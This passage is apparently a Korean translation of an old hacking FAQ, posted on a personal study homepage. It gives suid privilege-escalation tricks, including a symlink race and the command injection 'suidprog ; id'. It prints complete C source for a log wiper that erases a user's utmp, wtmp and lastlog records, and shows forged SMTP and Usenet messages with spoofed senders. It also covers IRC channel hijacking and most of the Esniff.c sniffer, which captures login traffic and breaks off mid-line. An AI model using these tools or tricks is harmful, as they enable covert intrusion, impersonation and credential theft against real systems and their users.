-i라는 이름을 가진 symbolic link를 프로그램에 만들어라. -i를 실행시키면 shell(bin/sh)을 대
화형 모드로 수행할 것이다. 이것은 suid shell scripts에서만 가능하다.
예:
% ln suid.sh -i
% -i
#
3. race condition을 이용하라.
커널이 /bin/sh를 수행하고 있는 동안 symbolic link를 다른 프로그램으로 바꿔라.
예:
nice -19 suidprog ; ln -s evilprog suidroot
4. 프로그램에서 bad input을 입력하라.
같은 명령어 줄에서 프로그램과 다른 명령어를 함께 수행하라.
예:
suidprog ; id
11.시스템 LOG FILE에서 자신의 해킹흔적을 어떻게 지울것인가?
/etc/utmp, /usr/adm/wtmp 그리고 /usr/adm/lastlog 파일을 편집하라.
그러나 이러한 파일들은 vi와 같은 일반적인 에디터로 편집할 수 있는 문서 파일이 아니다. 이러
한 목적으로 특별하게 짜여진 프로그램을 이용해야 한다.
예:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
12.가짜메일(FAKEMAIL)을 어떻게 보내는가?
메일이 원형대로 나타나기를 원하는 시스템에 접속한 후, 다음처럼 메세지를 작성하라.
HELO bellcore.com
MAIL FROM:Voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Please discontinue your silly Clipper initiative.
.
QUIT
RFC 931을 사용하는 시스템에서는 "MAIL FROM:"이라는 부분은 가능하지 않다.
우선 자신에게 메일을 보냄으로써 테스트를 해본다.
더많은 자료는 RFC 822 "Standard for the format of ARPA Internet text messages."를 참조한
다.
13.유즈넷을 어떻게 속이는가?
inews를 사용하여 다음의 내용을 입력하라.
From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:
제대로된 newsgroup을 위해,inews는 다음의 내용을 필요로 한다.
Approved:
그러면 게시물을 첨가하고 <Control-D>를 이용하여 끝낸다. 다음은 예이다.
예:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID: <esr.123@locke.ccil.org>
Date: Fri, 13 Aug 1994 12:15:03
Organization: Moral Majority
A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real <esr@locke.ccil.org>
^D
많은 시스템이 Originator: 를 명기하여 메세지가 누구로부터 발송되었는지를 나타낸다는 점에
주목해야 한다.
14.어떻게 IRC(인터넷 채팅)의 CHANOP에 침투하는가?
IRC로부터 떨어져 나온 sever를 찾아서 원하는 이름으로 channel을 만들어라.
sever가 net에 다시 접속할 때 실제적인 channel이 있는 ChanOp를 소유하게 될 것이다.
sever에서 ServerOp 를 가지고 있다면 의도적으로 분리시킬 수 도 있다.
15.나의 사용자 이름을 숨기려면 IRC클라이언트를 어떻게 수정하는가?
cs.bu.edu /irc/clients에 있는 irc.c 와 ctcp.c 의 내용을 변경하면 된다.
irc.c에서는 사용자이름,ctcp.c에서는 개인정보 부분을 수정한 후에 컴파일을 하여 실행하면 된
다.
예:
*** ctcp.c.old Wed Feb 10 10:08:05 1993
--- ctcp.c Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
struct passwd *pwd;
long diff;
int uid;
! char c;
/*
* sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
struct passwd *pwd;
long diff;
int uid;
! char c, *fing;
/*
* sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 348,356 ----
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (fing = getenv("IRCFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
*** irc.c.old Wed Feb 10 06:33:11 1993
--- irc.c Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (ptr = getenv("IRCUSER"))
! strmcpy(username, ptr, NAME_LEN);
! else if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
16.이상한 문자로 표시된 디렉토리로 이동하는 방법은 무엇인가?
directory 이름에 이상한 문자가 표시되어 있으면,자료를 숨기려고 하거나 상업적 용도의 프로그
램인 경우가 많다.
그러한 문자를 알아내는 방법들은 몇가지가 있는데,먼저 ls명령어를 이용하는 방법을 살펴보자.
ls 의 도움말을 보면 다음과 같은 내용이 있다.
-F 디렉토리는 ``/'',실행가능한 파일에는 ``*'', 연결고리에는 ``@'' 라는 표시를 만들어
준다.
-q 파일명에 들어있는 비그래픽 문자들을 ``?''로 표시해 준다.
-b \ddd에 들어있는 비그래픽 문자들을 8진수로 표시해준다.
ftp로 연결한 곳의 디렉토리는 "ls -al filename" 이라는 명령어를 이용하면 지정된 파일명으로
저장이 된다.
이렇게 저장이 된 파일 안에 들어 있는 이상한 문자가 무엇인지를 정확히 보기위해서
"cat -t -v -e filename" 이라는 명령어를 이용하도록 한다.
cat의 도움말을 보면 다음과 같은 내용이 있다.
-v 인쇄가 불가능한 문자들을 나타낸다.
제어문자는 ^X (<Ctrl>x), 와 같이 나타난다.
<DEL><8진수로 0177>DMS ^?로 표시된다. ASCII 문자가 아닌 경우는
<high bit인 8번째 bit가 1인 경우> M -x 로 표시되는데,여기서 x는 high bit를 제외한
나머지 7개의 bit가 표시하는 문자이다.
-t 탭은 ^I,페이지 넘김은 ^L로 나타내준다. -v와 함께 사용되어야만 한다.
-e 새 줄이 시작되기에 앞서서 각 줄의 끝에 ``$'' 을 표시하게 한다.
-v와 함께 사용되어야 한다.
디렉토리 명이 <SPACE> 나 <TAB>을 포함하고 있을 경우 따옴표를 이용해야 한다.
cd "..<TAB>"
IBM-PC에서는 <ALT> key 와 ASCII 코드값을 이용하면 특수문자를 입력할 수 있다.
<ALT> key를 누른 상태에서 특수문자에 해당하는 코드 값을 눌러준다.
<ALT>키에서 손을 떼면 원하는 문자가 화면에 나타난다. 특수문자의 ASCII코드값을 알기 위해서
는 코드 표를 참조하는 것이 좋다.
^Z (suspend), ^C (intr)와 같은 제어문자를 가진 디렉토리를 만들고자 할 경우,제어문자를 다른
문자로 변경하기 위하여 stty를 사용할 필요가 있다.
stty에 대한 도움말을 보면 다음과 같다.
제어문자 +C는 제어문자를 C에 할당하는데,여기서 제어문자는 erase, kill, intr (interrupt),
quit, eof, eol, swtch(switch), start, stop or susp를 의미한다. star와 stop은 제어문자 C할
당에만 유효하다. caret (^)이 C보다 먼저 나오는 경우는 제어문자에 해당한다.
(예를들어 ^D는 <Ctrl+D>이며 ^?는 <DELETE>,^- 는 undefined로 해석된다.)
현재의 stty 기본 설정값을 보려면 stty -a를 입력하면 된다.
17.ethrnet sniiffing(이더넷 추척)은 무엇인가?
Ethernet sniffing 이란,자신이 찾고자 하는 정보를 발견하기 위해서 전송상태를 감시하는 것을
의미한다. 즉 어떤 조건에 맞는 자료르 프로그램이 발견하게 되면, 그 내용은 프로그램에 의해
파일로 저장이 된다. 정보를 알아내기 위하여 일반적으로 가장많이 쓰이는 조건은 'login',또는
'password'와 같은 단어들이다.
많은 Ethernet sniffers 가 있으며,다음은 그 예들이다.
시스템에 따른 스니터와 스니퍼가 있는 FTP
OS Sniffer
~~ ~~~~~~~
HP/UX nettl (monitor) & netfmt (display)
nfswatch /* Available via anonymous ftp */
Irix nfswatch /* Available via anonymous ftp */
Etherman
SunOS etherfind
nfswatch /* Available via anonymous ftp */
Solaris snoop
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
Here is source code for an ethernet sniffer:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + S |
|
|
|
|
|
copyleft(c) 2002.Ttasam
e-mail Allright reserved
이 홈피는 본인의 공부를 위한 홈피로 존재하며 홈피 내의 저작물의 저작권은 각각 저작권자에게 있음을 밝힙니다.
자료 중 저작권자의 허락없이 퍼 온 글은 저작권자의 요청시 즉시 삭제토록 하겠슴을 밝힙니다..
|
|
